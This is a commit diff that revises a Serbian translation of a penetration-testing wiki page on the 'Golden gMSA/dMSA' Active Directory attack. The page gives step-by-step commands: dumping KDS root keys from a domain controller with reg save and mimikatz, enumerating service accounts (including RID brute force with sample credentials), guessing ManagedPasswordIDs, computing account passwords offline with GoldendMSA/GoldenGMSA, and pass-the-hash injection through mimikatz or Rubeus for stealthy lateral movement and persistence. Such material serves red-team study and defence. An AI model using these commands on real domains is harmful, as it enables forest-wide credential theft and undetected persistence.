Translated ['src/windows-hardening/active-directory-methodology/golden-d

This commit is contained in:
Translator 2025-07-21 22:29:27 +00:00
parent 0f5500427a
commit c63067c0f5

View File

@ -12,7 +12,7 @@ Postoje dva glavna tipa:
Za oba varijante **lozinka nije pohranjena** na svakom Domain Controller-u (DC) kao običan NT-hash. Umesto toga, svaki DC može **izvesti** trenutnu lozinku u hodu iz:
* Šumskog **KDS Root Key** (`KRBTGT\KDS`) nasumično generisana tajna sa GUID imenom, replicirana na svaki DC pod `CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …` kontejnerom.
* KDS Root Key-a na nivou šume (`KRBTGT\KDS`) nasumično generisana tajna sa GUID imenom, replicirana na svaki DC pod `CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …` kontejnerom.
* Ciljanog naloga **SID**.
* Per-nalog **ManagedPasswordID** (GUID) koji se nalazi u `msDS-ManagedPasswordId` atributu.
@ -23,19 +23,19 @@ Nema Kerberos saobraćaja ili interakcije sa domenom potrebne tokom normalne upo
Ako napadač može da dobije svih tri ulaza **offline**, može izračunati **važeće trenutne i buduće lozinke** za **bilo koji gMSA/dMSA u šumi** bez ponovnog dodirivanja DC-a, zaobilazeći:
* Kerberos pre-autentifikaciju / logove zahteva za karte
* LDAP čitanje revizije
* Intervale promene lozinke (mogu ih prethodno izračunati)
Ovo je analogno *Golden Ticket* za servisne naloge.
Ovo je analogno *Golden Ticket*-u za servisne naloge.
### Preduslovi
1. **Kompromitovanje na nivou šume** **jednog DC-a** (ili Enterprise Admin). `SYSTEM` pristup je dovoljan.
1. **Kompromitovanje na nivou šume** **jednog DC-a** (ili Enterprise Admin), ili `SYSTEM` pristup jednom od DC-a u šumi.
2. Sposobnost da se enumerišu servisni nalozi (LDAP čitanje / RID brute-force).
3. .NET ≥ 4.7.2 x64 radna stanica za pokretanje [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) ili ekvivalentnog koda.
### Faza 1 Ekstrakcija KDS Root Key
### Golden gMSA / dMSA
##### Faza 1 Ekstrakcija KDS Root Key-a
Dump sa bilo kog DC-a (Volume Shadow Copy / sirove SAM+SECURITY hives ili daljinski tajne):
```cmd
@ -45,16 +45,25 @@ reg save HKLM\SYSTEM system.hive
# With mimikatz on the DC / offline
mimikatz # lsadump::secrets
mimikatz # lsadump::trust /patch # shows KDS root keys too
# With GoldendMSA
GoldendMSA.exe kds --domain <domain name> # query KDS root keys from a DC in the forest
GoldendMSA.exe kds
# With GoldenGMSA
GoldenGMSA.exe kdsinfo
```
Base64 string označen `RootKey` (GUID ime) je potreban u kasnijim koracima.
### Faza 2 Enumeracija gMSA/dMSA objekata
##### Faza 2 Enumerisanje gMSA / dMSA objekata
Preuzmite barem `sAMAccountName`, `objectSid` i `msDS-ManagedPasswordId`:
```powershell
# Authenticated or anonymous depending on ACLs
Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \
Select sAMAccountName,objectSid,msDS-ManagedPasswordId
GoldenGMSA.exe gmsainfo
```
[`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) implementira pomoćne režime:
```powershell
@ -64,31 +73,29 @@ GoldendMSA.exe info -d example.local -m ldap
# RID brute force if anonymous binds are blocked
GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
```
### Faza 3 Pogađanje / Otkriće ManagedPasswordID (kada nedostaje)
##### Faza 3 Pogodi / Otkrij ManagedPasswordID (kada nedostaje)
Neka implementacija *uklanja* `msDS-ManagedPasswordId` iz ACL-zaštićenih čitanja.
Pošto je GUID 128-bitni, naivan bruteforce je neizvodljiv, ali:
1. Prvih **32 bita = Unix epoch vreme** kreiranja naloga (rezolucija u minutima).
2. Praćeno sa 96 nasumičnih bita.
2. Nakon toga sledi 96 nasumičnih bitova.
Stoga je **uska lista reči po nalogu** (± nekoliko sati) realna.
Stoga je **uska rečnik po nalogu** (± nekoliko sati) realističan.
```powershell
GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>
```
Alat izračunava kandidatske lozinke i upoređuje njihov base64 blob sa pravim `msDS-ManagedPassword` atributom podudaranje otkriva tačan GUID.
### Faza 4 Offline Izračunavanje Lozenke i Konverzija
##### Faza 4 Offline Izračunavanje Lozenke i Konverzija
Kada je ManagedPasswordID poznat, važeća lozinka je na samo jednu komandu udaljena:
Kada je ManagedPasswordID poznat, važeća lozinka je na samo jedan komandu udaljena:
```powershell
# derive base64 password
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID>
# convert to NTLM / AES keys for pass-the-hash / pass-the-ticket
GoldendMSA.exe convert -d example.local -u svc_web$ -p <Base64Pwd>
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID> -i <KDSRootKey ID>
GoldenGMSA.exe compute --sid <SID> --kdskey <KDSRootKey> --pwdid <ManagedPasswordID>
```
Rezultantni hash-evi mogu biti injektovani pomoću **mimikatz** (`sekurlsa::pth`) ili **Rubeus** za zloupotrebu Kerberosa, omogućavajući stealth **lateralno kretanje** i **perzistenciju**.
Rezultantni hash-evi mogu biti injektovani pomoću **mimikatz** (`sekurlsa::pth`) ili **Rubeus** za zloupotrebu Kerberosa, omogućavajući neprimetno **lateralno kretanje** i **perzistenciju**.
## Detekcija i ublažavanje
@ -101,13 +108,15 @@ Rezultantni hash-evi mogu biti injektovani pomoću **mimikatz** (`sekurlsa::pth`
## Alati
* [`Semperis/GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) referentna implementacija korišćena na ovoj stranici.
* [`Semperis/GoldenGMSA`](https://github.com/Semperis/GoldenGMSA/) referentna implementacija korišćena na ovoj stranici.
* [`mimikatz`](https://github.com/gentilkiwi/mimikatz) `lsadump::secrets`, `sekurlsa::pth`, `kerberos::ptt`.
* [`Rubeus`](https://github.com/GhostPack/Rubeus) pass-the-ticket koristeći derivirane AES ključeve.
## Reference
- [Golden dMSA zaobilaženje autentifikacije za delegirane upravljane servisne naloge](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/)
- [Semperis/GoldenDMSA GitHub repozitorijum](https://github.com/Semperis/GoldenDMSA)
- [Improsec Golden gMSA napad poverenja](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)
- [gMSA Active Directory napadi na naloge](https://www.semperis.com/blog/golden-gmsa-attack/)
- [Semperis/GoldenDMSA GitHub repozitorij](https://github.com/Semperis/GoldenDMSA)
- [Improsec Golden gMSA napad na poverenje](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)
{{#include ../../banners/hacktricks-training.md}}